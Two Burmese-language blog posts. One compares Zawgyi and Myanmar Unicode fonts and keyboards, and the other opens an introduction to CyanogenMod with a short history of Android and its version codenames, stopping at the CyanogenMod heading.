ဖတ်တဲ့သူဘက်မှာလည်း ဇော်ဂျီကိုသာ အသုံးများနေသေးပြီး မြန်မာယူနီကုဒ်နဲ့ ရေးဖို့ ဖတ်ဖို့ကိုလည်း တိုက်တွန်းရခက်နေတုန်းပါ။ နည်းပညာပိုင်းဆိုင်ရာဘက်ကနေ ကြည့်ရင်တော့ ဇော်ဂျီကိုလက်ရှိအတိုင်းသာ အသုံးပြုနေအုံးမယ် ဆိုရင် နောက်ပိုင်းမှာ Unicode လိုက်နာထားတဲ့ မြန်မာ font standard တစ်ခုစီကို အနှေးနဲ့ အမြန် ဖြေးဖြေးချင်းချင်းစီ ပြောင်းသွားရမှာပါ။ စာရေးသူ သတိထားမိသလောက်တော့ language တစ်ခုရဲ့ font နဲ့ keyboard မှာ ပြဿနာတက်နေသေးသာ မြန်မာစာလောက်သာ ကျန်တော့တယ်လို့ထင်ပါတယ်။ တခြား ထိုင်းတို့ ဗီယက်နမ်တို့ မှာတော့ တော်တော်လေးကို အနယ်ထိုင်သွားပါပြီ။ အင်တာနက်က မြန်မာစာမှာတော့ ဇော်ဂျီ ယူနီကုဒ် ပြဿနာက အခုချိန်ထိကို ရေရာတဲ့ အဖြေမျိုးမရှိသေးပါဘူး။ ဇော်ဂျီသမားကလည်း အခုဇော်ဂျီသုံးတာ အဆင်ပြေနေတာပဲလေ မပြောင်းတော့ပါဘူးဆိုတာမျိုးနဲ့ ပဲတင်းခံပါတယ်။ ယူနီကုဒ်သမားတွေကလည်း ကမ္ဘာ့ အဆင့်မှီတဲ့ ယူနီကုဒ်မြန်မာစာကို သုံးရင်း ဂုဏ်ယူလို့မဆုံးနိုင်အောင် ရှိကြပါတယ်။ ဘယ်ဟာမှန်သလဲ ဘယ်ဟာမှားသလဲဆိုတာကတော့ စာရေးသူ တစ်ယောက်ထဲဆုံးဖြတ်လို့မရသလို မြန်မာနိုင်ငံက အင်တာနက်သုံးတဲ့ လူထုတရပ်လုံးကဆုံးဖြတ်လို့မရပါဘူး။ အင်တာနက်ဆိုတဲ့ community တရပ်လုံးက သဘောတူ လက်ခံထားတဲ့ စည်းကမ်းချက်တွေရှိပါတယ်။ Unicode standard ဆိုတာလည်း ဘယ် ASCII code point ဟာဖြင့် ဘယ်ဟာကို ဖော်ပြဖို့ဖြစ်တယ်ဆိုတာကို presentation layer မှာ အားလုံးသဘောတူထားရတဲ့ ဟာမျိုးပါ။ အဲ့ဒါမှာလည်း စာရေးသူ ဖော်ပြလိုတဲ့ စာလုံးလေးတွေကို အခုစာဖတ်နေတဲ့သူ ကဖတ်လို့ရမှာဖြစ်ပါတယ်။ နိုင်ငံတကာ လက်ခံထားတဲ့ စံဖြစ်တဲ့အတွက်လိုက်နာကို လိုက်နာရမှာဖြစ်ပါတယ်။ နောက်မို့ဆိုရင် ISO လို standard သတ်မှတ်ပေးတဲ့ အဖွဲ့တွေက အသိအမှတ်မပြုပါဘူး။ အသိအမှတ်မပြုရင် နည်းပညာအသစ်တွေထဲမှာ ကိုယ့်မြန်မာစာကိုထည့်ချင်ရင်တောင် ထည့်လို့မရပါဘူး။ တခြားနိုင်ငံက မြန်မာမဟုတ်တဲ့ လူတစ်ယောက်ကိုရှင်းပြဖို့အတွက်တော်တော်ခက်ပါလိမ့်မယ်။ များသောအားဖြင့်က standard တစ်ခုပေါ်မှာပဲ ကောင်းသထက်ကောင်း develop လုပ်ရတဲ့ အနေအထားမှာ မြန်မာနိုင်ငံက dev တွေကတော့ နှစ်ခုအတွက်စဥ်းစားပြီးလုပ်နေရတုန်းပါ။

ကဲ… အကုန်ပြောရင် မကုန်မှာစိုးလို့ လိုရင်းဖြစ်တဲ့ မြန်မာစာအတွက် ဇော်ဂျီ ကို သုံးရင် ရနိုင်မယ့် ဆိုးကျိုးကောင်းကျိုး နဲ့ မြန်မာယူနီကုဒ်ကို သုံးလို့ ရမယ့် အကောင်းအဆိုးလေးတွေ ကိုချင့်ချိန် စဉ်းစားကြည့်ရအောင်။

## ဇော်ဂျီ ဖောင့်(ထ်) နဲ့ ကီးဘုတ်

### အားသာချက်များ

* **လူသုံးများခြင်း**။ ။ လက်ရှိအချိန်ထိတော့ လူသုံးများနေဆဲပါ။ မြန်မာသတင်း ဌာနတွေတော်တော်များများနဲ့ social media ပေါ်မှာမြန်မာလိုရေးရင် မြန်မာနိုင်ငံမှာ ဇော်ဂျီနဲ့ပဲရေးပါတယ်။ ကိုယ်တိုင် ယူနီကုဒ် သမားလို့ ပြောတဲ့သူတွေတော်တောများများကလည်း ဇော်ဂျီကို တပိုင်းရေး ယူနီကုဒ်ကို တပိုင်းရေးနဲ့ post တွေတင်နေရတုန်းပါ။ နောက်ဆုံးတော့ လည်းကိုယ်ပေးချင်တဲ့ အချက်အလက် အခြားတဘက်ကိုရောက်ဖို့သာ အားထုတ်တဲ့အတွက် ဇော်ဂျီကသာပြန်သုံးတဲ့အတွက် လူသုံးများရတာလည်းဖြစ်ပါတယ်။
* **လေ့လာသင်ယူရလွယ်ကူခြင်း**။ ။ မြန်မာစာမှာ ရေးသားနည်းသတ်မှတ်ချက် တွေရှိပါတယ်။ သို့သော်လည်း ငယ်စဥ်ကတည်းကကျောင်းတွေမှာ စာစပြီး ရေးပြီဆိုကတည်း မူကြိုဆရာတွေကိုယ်တိုင် အခြေခံကျောင်းမှာသင်ကြားတဲ့ ဆရာတွေကိုယ်တိုင် အလွယ်ရေးနည်းကိုသာသင်ပါတယ်။ ဆရာတိုင်းမဟုတ်ပေမယ့် ဆရာတိုင်းနီးပါးလိုလို အဲ့လိုပဲသင်တယ်လို့ စာရေးသူသတိထားမိပါတယ်။ နောက်ပိုင်း အထက်တန်းကျောင်း တချို့ကဆရာကောင်းတွေနဲ့ တက္ကသိုလ်က ဆရာကောင်းတချို့ နဲ့တွေခဲ့ရတဲ့ သူတွေသာ ရေးသားနည်းအမှန်ကိုသိကြရပါတယ်။ ပြောချင်တာက တသက်လုံးမှားလာတဲ့ မြန်မာစာရေးသားနည်းတွေ စာလုံးပေါင်းတွေဟာ အချိန်ကြာလာတာနဲ့အမျှ အမှန်လိုလိုဖြစ်လာခဲ့ပါတယ်။ မြန်မာစာကို အဆင်ပြေသလို မြင်တဲ့အတိုင်းရေးတဲ့အကျင့်ဆိုးကြီးက လူတိုင်းလိုလိုမှာပါလာပါတော့တယ်။ အဲ… ဇော်ဂျီ ကီးဘုတ်နဲ့ ရိုက်တဲ့အခါမှာလည်း မြင်တဲ့အတိုင်း ကြိုက်သလိုရိုက်လို့ရတဲ့အတွက် အမှားနဲ့ အသားကျနေတဲ့ အသုံးပြုသူတွေအနေနဲ့ ဇော်ဂျီလက်ကွက်နဲ့ မြန်မာ စာရိုက်သင်ရတာပို လွယ်နေနိုင်ပါတယ်။

### အားနည်းချက်များ

* **ယူနီကုဒ် သတ်မှတ်ချက်များကို မလိုက်နာခြင်း**။ ။ ASCII (အရှည်ကတော့ American Standard Code for Information Interchange ဖြစ်ပါတယ်။) ဆိုတဲ့ဟာက presentation layer မှာ စာလုံးတွေ နံပါတ်တွေ အမှတ်အသားပံုလေးတွေကို ဘယ်လိုဖော်ပြပေးမလဲဆိုတာနဲ့ ပတ်သတ်ပြီး code point တွေကို သတ်မှတ်ပေးထားတဲ့ character encoding စံတစ်ခုပါ။ ဆက်သွယ်ရေးနည်းပညာမှာ အချက်အလက်ကို ပို့တဲ့သူ (sender)က encoding ကို သတ်မှတ်ထားတဲ့ code point တွေကိုယူသုံးကာမှ အဲ့ဒီအချက်အလက်ကို လက်ခံတဲ့သူ (receiver) က decoding လုပ်တဲ့အခါမှာ အမှန်အတိုင်း မြင်ရ လက်ခံရရှိနိုင်မှာဖြစ်ပါတယ်။ ဒါကတော့ နည်းပညာပိုင်းမှာ အရိုးစင်းဆုံး အပိုင်းပါ။ ပြင်သစ် ဧည့်သည်ကို ကယား ဘာသာစကားနဲ့ ပြောလို့မရသလိုမျိုး ပေါ့ဗျာ။ ဒီတော့ဗျာ… ဇော်ဂျီက ကိုယ်ကြိုက်သလို code point တွေကိုယူသုံးထားတဲအတွက် နိုင်ငံတကာက လက်ခံမှာမဟုတ်ပါဘူး။ ဥပမာ တခေါက်က စာရေးသူ ဇော်ဂျီ ဖောင့်(ထ်) နဲ့ ပတ်သတ်ပြီး မြန်မာတစ်ယောက်က Firefox ကို forum ကနေတဆင့် bug fix တောင်းတာတွေ့ဘူးပါတယ်။ Apple Macbook နဲ့ iMac မှာ Firefox ရဲ့ standard font ကို ဇော်ဂျီထားလည်း ဇော်ဂျီနဲ့မပြတာကို report တင်တာပါ။ Firefox က dev တစ်ယောက် အကြောင်းပြန်တဲ့အခါမှာ ဇော်ဂျီဟာ ASCII ကိုမလိုက်နာထားတဲ့ အတွက် အဲ့ဒီ bug ကို အချိန်ကုန်ခံပြီးတော့ မပြင်ပေးနိုင်ဘူးလို့ ဆိုခဲ့ပါတယ်။
* **website နဲ့ blog တွေမှာ ဖောင့်(ထ်)ပုံစံ မမှန်ခြင်း**။ ။ စာရေးသူ ဒီ blog ကို blogger ကနေ wordpress ကိုပြောင်းရခြင်း အဓိက အကြောင်းကတော့ ဇော်ဂျီကို blogger မှာသုံးတဲ့ အခါမှာ word/character wrap မလုပ်ပါဘူး။ ရိုက်တုန်းကလည်း ရိုက်ချင်သလိုရိုက်ထားပြီး ပြန်ပြီးပြတဲ့အခါမှာလည်း ပြချင်သလိုပြပါတယ်။ ဆိုပါတော့… ကကြီး ရရစ်ဆိုရင် ကကြီး ပထမလိုင်းမှာပြပြီးတော့ ရရစ်ကိုတော့ နောက်တလိုင်းမှာပြတယ်။ ကြည့်ရတာတော်တော် ရုပ်ဆိုးပါတယ်။ embedded font သုံးချင်သော်လည်း blogger မှာ အလုပ်လုပ်တဲ့ plugin ကောင်းကောင်း မရှိတဲ့အတွက် စာရေးသူ ဇော်ဂျီသာ အသုံးပြုခဲ့ပါတယ်။ စိတ်ထဲမှာတော့ အလိုမကျပါဘူး။ အနောက်မှာလည်း web hosting၊ domain name နဲ့ wordpress ကိုလည်း ပြင်ဆင်နေခဲ့ရပါတယ်။ အခုတော့မြင်တဲ့အတိုင်း Saturngod ရဲ့ MMUnicode Embed plugin ကို wordpress မှာသုံးထားတဲ့အတွက် ဇော်ဂျီသမားရော ယူနီကုဒ်သမားပါ ဖတ်လို့ရတဲ့အပြင် မြန်မာစာကို wrap လုပ်တာမှန်တဲ့အတွက် စာတွေကို ရှင်းရှင်းလင်းလင်းတွေရတာ စိတ်ချမ်းသာစရာ တစ်ခုပါ။
* **ရွေးစရာ Typeface တစ်ခုတည်းရှိခြင်း**။ ။ ဇော်ဂျီမှာ ရွေးစရာ ဖောင့်(ထ်)ပုံစံ တစ်ခုတည်းသာရှိပါတယ်။ စာလုံးပုံစံမကြိုက်လို့ Time New Roman ကနေ Arial လို typeface ကိုပြောင်းတာမျိုး ဇော်ဂျီမှာ ရွေးစရာ မရှိပါဘူး။
* **တိုင်းရင်းသား ဘာသာစကားများအတွက် ဖောင့်(ထ်) နဲ့ ကီးဘုတ်မရှိခြင်း**။ ။ ဇော်ဂျီဟာ regional အလိုက် သတ်မှတ်ပေးထားတဲ့ code point တွေအကုန်လုံးကို မြန်မာစာ သီးသန့်အတွက် အကုန်ယူသုံးထားတဲ့ အတွက် တိုင်းရင်းသား ဘာသာစကားများအတွက် code point မကျန်တော့ပါဘူး။ တချို့စာလုံးတွေဆို တိုင်းရင်းသားဘာသာစကားမှာ သုံးထားတဲ့ code point တွေကို ဇော်ဂျီကယူသုံးထားပါတယ်။

## မြန်မာယူနီကုဒ် ဖောင့်(ထ်) နဲ့ ကီးဘုတ်

### အားသာချက်များ

* **ယူနီကုဒ် စံကို စနစ်တကျလိုက်နာထားခြင်း**။ ။ မြန်မာယူနီကုဒ်ဆိုတဲ့အတိုင်း ဒီဖောင့်(ထ်) အမျိုးအစားနဲ့ ကီးဘုတ်က ASCII ရဲ့ သတ်မှတ်ထားတဲ့ code point တွေကိုသာယူသုံးပါတယ်။ တိုင်းရင်းသား ဘာသာစကား တွေအတွက်လည်း ဒီ ကီးဘုတ် layout ကို သုံးလို့ရပါတယ်။ စံစနစ်တစ်ခုလိုက်နာခြင်းအားဖြင့် အသိအမှတ်ပြုခံရတာကတော့ အခုဆို Windows, Mac နဲ့ Linux တွေမှာ နဂိုအတိုင်းပါလာတယ်။ ဇော်ဂျီလိုမျိုး ဖောင့်(ထ်) နဲ့ ကီးဘုတ်ကို ထပ်ပြီး install လုပ်စရာမလိုပါဘူး။
* **website နဲ့ blog တွေမှာ word/character wrap မှန်ခြင်း**။ ။ အရှေ့မှာ ရှင်းပြပြီးသလိုပဲ ယူနီကုဒ်ကို သုံးခြင်းအားဖြင့် စာလုံးအထားအသို ကိုပြတဲ့နေရာမှာ မှန်တာကြောင့် ရှုပ်ပွမနေပါဘူး။ ရှင်းရှင်းလင်းလင်းပိုရှိပါတယ်။
* **ရွေးချယ်စရာ typeface များရှိခြင်း**။ ။ ယူနီကုဒ်သုံးမယ်ဆိုရင်တော့ သူ့မှာဖောင့်(ထ်) ပုံစံရွေးချယ် စရာတွေရှိပါတယ်။ ဥပမာ Myanmar 3၊ Myanmar Text၊ Padauk နဲ့ တခြားရွေးချယ်စရာ ဖောင့်(ထ်) တွေရှိပါတယ်။ Padauk ဆိုရင် တော်တော်လေးကိုလှတယ်လို့တော့ စာရေးသူထင်မိ ပါတယ်။
* **support ကောင်းကောင်းရနိုင်ခြင်း**။ ။ ကိုယ်က ယူနီကုဒ် သုံးမယ်ဆိုရင်တော့ အားသာချက်က တစ်ခုခု ပြဿနာတက်ရင် ကိုယ်သုံးတဲ့ software ပေါ်မူတည်ပြီးလိုအပ်တဲ့ အကူအညီတောင်းလို့ရပါတယ်။ software တော်တော်များများမှာလည်း မြန်မာစာကို နဂိုအတိုင်းထည့်ပေးနေပါပြီ။ ကိုယ်က ယူနီကုဒ်သုံးပြီး ဇော်ဂျီနဲ့ ရေးထားတဲ့စာ တွေကိုဖတ်ဖို့အတွက်လည်း သုံးလို့ရတဲ့ tool တွေအများကြီးရှိပါတယ်။ Internet browser ကို Chrome သို့မဟုတ် Firefox သုံးမယ်ဆိုရင်တော့ MUA Web Unicode Converter ဆိုတဲ့ plugin သုံးလို့ရသလို တခြား FontTagger လို plugin တွေလည်းရှိပါတယ်။
* **Future-proof ဖြစ်နေခြင်း**။ ။ ဒီတစ်ခုကတော့ နောင်အနာဂတ်အတွက် မရှိမဖြစ်အသုံးပြုနေရမှာသေချာတယ်လို့ ပြောချင်တာပါ။ Wikipedia Myanmar လို ဆိုဒ်မှာ နောင်အနာဂတ်မှာ content တွေအကုန်လုံးကို ဇော်ဂျီကနေ ယူနီကုဒ်ပြောင်းဖို့ဆိုတာမျိုးမဖြစ်ရအောင် အခုထဲက လူ အနည်းစုသာသုံးတဲ့ ယူနီကုဒ်ကိုသာ အသုံးပြုပါတယ်။ အဲ့ဒါဟာ အနာဂတ်မှာ Wikipedia Myanmar ကို သုံးတဲ့ မြန်မာလူမျိုးတွေအတွက် future-proof လုပ်ထားတဲ့သဘောမျိုးပါ။ ဘာလို့လဲဆိုတော့ နောင်တချိန်ကျရင် ယူနီကုဒ်ကိုပြောင်း သုံးရမှာပါ။

### အားနည်းချက်များ

* **လူသုံးနည်းနေသေးခြင်း**။ ။ အခုအချိန်ထိတော့ ယူနီကုဒ်သုံးတဲ့ လူဦးရေက နည်းနေသေးပါတယ်။ ယူနီကုဒ်ကို ပြောင်းသုံးချင်တယ်ဆိုရင်တော့ ကိုယ် social media ပေါ်မှာ လူများရေးထားတာ ဖတ်လို့ရတယ်ထားအုံးတော့ ကိုယ် ယူနီကုဒ်နဲ့ ရေးတဲ့ဟာကို ကိုယ့်မိတ်ဆွေတွေက ဖတ်လို့ရမှာမဟုတ်ပါဘူး။ နှစ်ခုလုံးကို သင့်တော်သလို အသုံးပြုချင်ပါတယ်ဆိုရင်တော့ နည်းနည်းတော့ ခေါင်းစားရပါလိမ့်မယ်။
* **လက်ကွက်ကို စတင်လေ့လာသင်ယူရာမှာ အခက်အခဲရှိနိုင်ခြင်း**။ ။ ယူနီကုဒ် ကီးဘုတ်ကို စတင်အသုံးပြုဖို့အတွက် စတင်လေ့လာရာမှာတော့ နည်းနည်းအခက်တွေ့နိုင်ပါတယ်။ အရှေ့မှာ ပြောထားတဲ့ မြန်မာစာရေးနည်းကို အတတ်နိုင်ဆုံးဖြစ်အောင် လိုက်နာထားတဲ့အတွက် ဇော်ဂျီ အသုံးပြုတာကြာတဲ့ အသုံးပြုသူ တစ်ယောက်ဆိုရင်တော့ နည်းနည်း စိတ်ရှုပ်ရပါလိမ့်မယ်။ အသုံးပြုနည်း ရိုက်နည်းကိုတော့အသေးစိတ် မရှင်းတော့ပါဘူး။ လေ့လာချင်ရင်တော့ Myanmar Unicode Area ဆိုတာကိုသာရှာပြီးတော့ ကိုယ်တိုင်လေ့လာလို့ရပါတယ်။

ဒါကတော့ အင်တာနက်မြန်မာစာအတွက် ဇော်ဂျီ ယူနီကုဒ် အရှုပ်တောပုံပဲဖြစ်ပါတယ်။ ဗဟုသုတ အနေနဲ့ စာရေးသူသိသလောက် တက်သလောက် ရေးသား ဆွေးနွေးပြခြင်းသာဖြစ်ပါတယ်။ မြန်မာစာ ဘာသာရပ်ပိုင်းနဲ့ ယူနီကုဒ်ကျွမ်းကျင်မှု အပိုင်းအတွက်တော့ subject-matter expert တွေအများကြီးရှိပါတယ်။ ဒီ post မှာတော့ မသိသေးတဲ့လူတွေသိအောင် စိတ်ဝင်စားလာအောင် ဖော်ပြရခြင်းသာဖြစ်ပါတယ်။ ဒီ post ကို ဒီမှာပဲ ရပ်လိုက်ပါတော့မယ်။


# CyanogenMod မိတ်ဆက် အပိုင်း(၁)

ဒီ CyanogenMod အကြောင်းလေးကို ရေးဖို့စိတ်ကူး ဖြစ်တာ နည်းနည်းတောင်ကြာသွားပါပြီ။ စိတ်ကသာ ဒီစာရေးဖို့ စိတ်အားထက်သန်ပြီးတော့ စိတ်မအား လူမအားတာနဲ့ မရေးဖြစ်ခဲ့တဲ့ အကြောင်းတစ်ခုပါ။ နည်းပညာလောကထဲမှာ အထူးသဖြင့် Android mobile/tablet ပိုင်းမှာ ကျွမ်းကျင်သူတွေ အနေနဲ့တော့ CyanogenMod (CM) ကို မသိတဲ့သူ မရှိပါဘူး။ CyanogenMod (CM) အကြောင်းကို ပြောမယ်ဆိုရင်လည်း သူရဲ့ အရင်းမြစ်ဖြစ်တဲ့ Android အကြောင်းကလည်း နည်းနည်းတော့ ပြောမှ ကွင်းဆက် ချိတ်မိမှာမို့ Android အကြောင်း အကျဉ်းချုပ် သဘောမျိုး ရှင်းပါ့မယ်။ ပြီးတော့မှ CM ရဲ့ ဖြစ်ပေါ်လာပုံ၊ တိုးတက်ပြောင်းလဲလာပုံ နဲ့ project ရပ်တန့်သွားပြီးတော့မှ အသက်ပြန်ဝင်လာပုံတွေကို အဆင့်ဆင့်ရှင်းပြချင်ပါတယ်။ Android သမားတွေ အတွက်တော့ ဒီ CM ဆိုတဲ့ဟာကို မိတ်ဆက်စရာ မလိုပေမယ့်လည်း မသိသေးတဲ့ စိတ်ဝင်စားတဲ့ သူတွေ အနေနဲ့တော့ CM ဘာလဲဆိုတာကို ရိပ်စားမိ အောင်လို့ မိတ်ဆက်ပေးတဲ့ သဘောမျိုးပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-4cea45d46a1677f11373ae6321af1af96e5e07c7%2FCM-13-UI.png?alt=media" alt=""><figcaption></figcaption></figure>

## Android ကောက်ကြောင်း

ပထမဆုံး အနေနဲ့ Android အကြောင်းလေးကို စလိုက်ရအောင်ဗျာ။ သိပြီးကြတဲ့ အတိုင်း Android ဆိုတာကတော့ Google ရဲ့ mobile/tablet platform မှာသုံးတဲ့ Opearting System တစ်ခု ဖြစ်ပါတယ်။ Apple မှာ iOS ကိုသုံး သလိုပဲ၊ Apple မဟုတ်တဲ့ Samsung ၊ HTC ၊ LG ၊ Sony အစရှိတဲ့ mobile တွေမှာတော့ Android ကိုသာလက်ရှိ mobile/tablet market မှာ အသုံးများကြပါတယ်။ Microsoft ကထုတ်တဲ့ Windows Phone တွေမှာတော့ Windows 8 သို့မဟုတ် Windows 10 တွေကို အခြေခံထားတဲ့ Windows Phone OS တွေကို သုံးပါတယ်။ Ubuntu ကလည်း Unity platform ကို အခြေခံပြီးတော့ Ubutnu mobile OS ဆိုပြီးတော့လည်းလုပ်ပြီးကာမှ အကြောင်းအမျိုးမျိုးကြောင့် Unity project ကရပ်သွားပြီးတော့ Ubuntu mobile OS ကလည်း active project တစ်ခုအနေနဲ့ မရှိလောက်တော့ပါဘူး။ Europe ဘက်မှာတော့ Ubuntu mobile ကို တော်တော်လေးကို အသုံးပြုလိုက်သေးတာကိုလည်း သတိထားမိပါတယ်။ ဆိုလိုရင်းက iOS တစ်ခုတည်းသာ mobile နည်းပညာမှာ ရှေ့ရောက်နေတာမဟုတ်ပါဘူး။ စာရေးသူအမြင်အရတော့ Android ဟာအစောပိုင်းကတည်း feature စုံစုံလင်လင်နဲ့ အစဉ်အလာကောင်းလာခဲ့တာ အခုထိတိုင်လို့ဆိုရမှာ ဖြစ်ပါတယ်။ ပိုပြီးတော့ စိတ်ဝင်စားဖို့ကောင်းတာကတော့ Android ဟာ Linux kernel ပေါ်မှာ ရေးထားတဲ့ mobile platform တစ်ခုဖြစ်ပါတယ်။ Linux kernel ကတော့ solid ဖြစ်တဲ့ kernel တစ်ခု အနေနဲ့ လူသိများပြီးသား ဖြစ်ပါတယ်။ အဲ့ဒါ ကြောင့်လည်း Android မှာ native shell command တွေကို သုံးလို့ရတာဖြစ်ပါတယ်။ mobile platform တစ်ခုဖြစ်တဲ့ အတွက် ကန့်သတ်ချက်တွေတော့လည်း ရှိပါတယ်။ နောက်ပြီးတော့ Android က open source ဖြစ်တဲ့အတွက် Linux distro တွေလိုပဲ ပုံစံမျိုးစုံ နဲ့ source code ကိုယူသုံးပြီးတော့ တဆင့်ပြန်ပွားယူလို့ ရပါတယ်။ ဒီအချက်က အရေးကြီးပါတယ်။ ဘာလို့လည်းဆိုတော့ open source ဖြစ်လို့သာ အခု CM အကြောင်းကို ဆက်ရေးလို့ရတာပါ။ CM က Android မှတဆင့် fork လုပ်ထားတဲ့ project ပါ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-6cb7d19fe40bc146f9e16a3fbd48ebefa6345ddf%2FAndroid-Logo-256x300.png?alt=media" alt=""><figcaption></figcaption></figure>

Android ကိုတော့ အောက်တိုဘာလ ၂၀၀၃ခုနှစ်မှာ Andy Rubin နဲ့ တခြားသူ့ သူငယ်ချင်း သုံးယောက် ပေါင်းပြီးတော့ စခဲ့တဲ့ project လေးတစ်ခုဖြစ်ပါတယ်။ Android ရဲ့ အစပိုင်းဖြစ်တဲ့ And ဆိုတာဘယ်ကလာ သလဲဆိုတာကတော့ စာဖတ်သူတို့ အခုဆိုရင်တော့ သိလောက်ပြီထင်ပါတယ်။ သူ့နာမည် Andy ကနေယူတော့ Android ဆိုပြီးတော့ ယူသုံးထားတာပါ။ စစချင်းမှာတော့ Andy Rubin ဟာ Android ကို digital camera တွေမှာ အသုံးပြုလို့ရအောင်လို့ firmware တစ်ခု အနေနဲ့ စတင်ခဲ့တာပါ။ Mobile/tablet market ကလည်း တချိန်တည်းမှာလို အဲ့ဒီအချိန်က တဟုန်ထိုးပြီး တိုးတက် ပြောင်းလဲလာတာမို့ Andy Rubin က Android ရဲ့ ဦးတည်ချက်က ပြောင်းပြီးတော့ mobile/tablet platform တစ်ခု အဖြစ်ကို အသွင်ပြောင်းလိုက်ပါတော့တယ်။ အဲ့ဒီ ဆုံးဖြတ်ချက်ဟာ Andy Rubin တို့ project team တစ်ခုလုံးအတွက် ကောင်းသော ပြောင်းလဲခြင်းဖြစ်လာပါတယ်။ ဒါအပြင် Andy Rubin အနေနဲ့ သူ့ရဲ့ Android ကို Google လို high tech company အကြီးစားတွေမှာ promote လုပ်ရတာ ပိုပြီးတော့ ဘောင်ဝင်လာတဲ့ သဘောမျိုးလည်းဖြစ် ပါတယ်။ Google ဟာလည်း mobile/tablet platform အတွက် OS တစ်ခုကို စိတ်ကူးနေတဲ့ အချိန်ဖြစ်တာမို့ Andy Rubin ရောင်းတဲ့ Android project ကို ၂၀၀၅ခုနှစ်မှာ ဝယ်ယူလိုက်တဲ့ အပြင် Andy Rubin တို့ project team ကိုလည်း ဆက်လက် ပြီးတော့ Google အတွက် အလုပ်လုပ်စေခဲ့ပါတယ်။ Andy Rubin တို့ Android team ကို လုပ်မြဲအတိုင်း Android ကို Google ရဲ့ စီမံချက်အောက်မှာ ဆက်လက် develop လုပ်စေခဲ့ပါတယ်။ အခုဆိုရင်တော့ Android ဟာ Google ရဲ့ အောင်မြင်ပြီးတော့ လူကြိုက်များတဲ့ product တစ်ခု အနေနဲ့ လက်ရှိမှာတော့ version 7.1 (codename Nougat) stable အထိရှိလာပါပြီ။ Andy Rubin ကတော့ Google နဲ့ မရှိတော့ပဲနဲ့ သူ့ကိုယ်ပိုင် mobile company နောက်တစ်ခုကို ထပ်ပြီးတော့ တည်ထောင် လာခဲ့ပါတယ်။ အခုဆိုရင် သူ့ရဲ့ mobile အသစ်ဖြစ်တဲ့ Essential ဟာ အမေရိကန်နိုင်ငံမှာ စတင်ဝယ်ယူလို့ရနေပါပြီ။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-ed8b60d8473fd614841fac218d2ca82d73b1e17b%2FAndroid-7.1-Nougat.png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-3194a378cb840e9fe092aaa67ea9ecbac1c1b974%2FAndy-Rubin.jpg?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-7b7ee99f44b47bb0626a3ea8e23dc72aca3941db%2FEssential-Mobile.png?alt=media" alt=""><figcaption></figcaption></figure>

Android ဟာလည်း Linux distro တွေမှာလို version တိုင်းအတွက် codename လေးတွေပေးထားပါတယ်။ version 1.0 နဲ့ 1.1 မှာတော့ codename မရှိခဲ့ပါဘူး။ version 1.5 ကစလို့ အောက်ကအတိုင်း နာမည်လေးတွေကို အင်္ဂလိပ် အက္ခရာ အစဉ်လိုက် အတိုင်း နာမည်ပေးလာ ခဲ့ပါတယ်။

Version 1.5 = Cupcake\
Version 1.6 = Donut\
Version 2.0, 2.0.1, 2.1 = Eclair\
Version 2.2 = Froyo\
Version 2.3 = Gingerbread\
Version 3.x = Honeycomb\
Version 4.0.x = Ice Cream Sandwich\
Version 4.1.x to 4.3.x = Jelly Bean\
Version 4.4.x = KitKat\
Version 5.x = Lollipop\
Version 6.x = Marshmallow\
Version 7.x = Nougat\
Version 8.x = O (ဒီစာရေးတဲ့ အချိန်မှာ preview အနေနဲ့ပဲရှိပါသေးတယ်။)

Codename တွေအကုန်လုံးဟာ အနောက်တိုင်းသားတွေရဲ့ အချိုသရေစာမုန့်တွေပဲဖြစ်ပါတယ်။ နောက်ဆုံးက Android O ကလည်း Oreo ကိုပြောတယ်လို့ ထင်ကြေးပေးကြပါတယ်။ ဒါကတော့ Android ကို အကျဉ်းချုပ်ပြီးတော့ ရှင်းတာပါ။ Android အကြောင်းပြောမယ်ဆိုလည်း ပြောစရာကုန်မယ် မထင်ပါဘူး။ စာရေးသူ အနေနဲ့ iOS ထက်စာရင် Android ကို ပိုပြီးတော့ သဘောတွေ့ပါတယ်။ အသစ်အဆန်း feature တွေမှာ Android က iOS ထက် အမြဲတမ်းသာတယ်လို့ မြင်မိပါတယ်။ တချို့ကတော့ ပြောပါတယ်။ စစ်တမ်းတွေအရ Android ဟာ iOS လောက် မလုံခြုံဘူးလို့ဆိုပါတယ်။ Security ဘက်မှာတော့ လုံခြုံတယ် မလုံခြုံဘူးဆိုတာကတော့ အသုံးပြုတဲ့ သူနဲ့လည်း သက်ဆိုင်ပါတယ်။ တစ်ခုသတိထားရမှာက iOS အသုံးပြုသူထက် Android အသုံးပြုသူဟာ သိသိသာသာကြီးကိုများပါတယ်။ ဥပမာ တရုတ်ကထုတ်တဲ့ စျေးပေါတဲ့ mobile တွေမှာ Android ကိုသာ အသုံးပြုပါတယ်။ နောက်တစ်ခုက Android ကိုသုံးတဲ့ အသုံးပြုသူတော်တော်များများ ဟာ root ဖောက်ထားကြတာများပါတယ်။ ကျွမ်းကျင်သူကော မကျွမ်းကျင်သူပါ လိုအပ်ချက် တစ်ခုခုကြောင့် Android မှာ root ဖောက်ကြတာများပါတယ်။ အဲ့ဒါဟာ Android မှာ security breach ဖြစ်စေတဲ့ အကြောင်းအရင်းတစ်ခုလို့ စာရေးသူမြင်မိပါတယ်။

## CyanogenMod ဆိုတာ

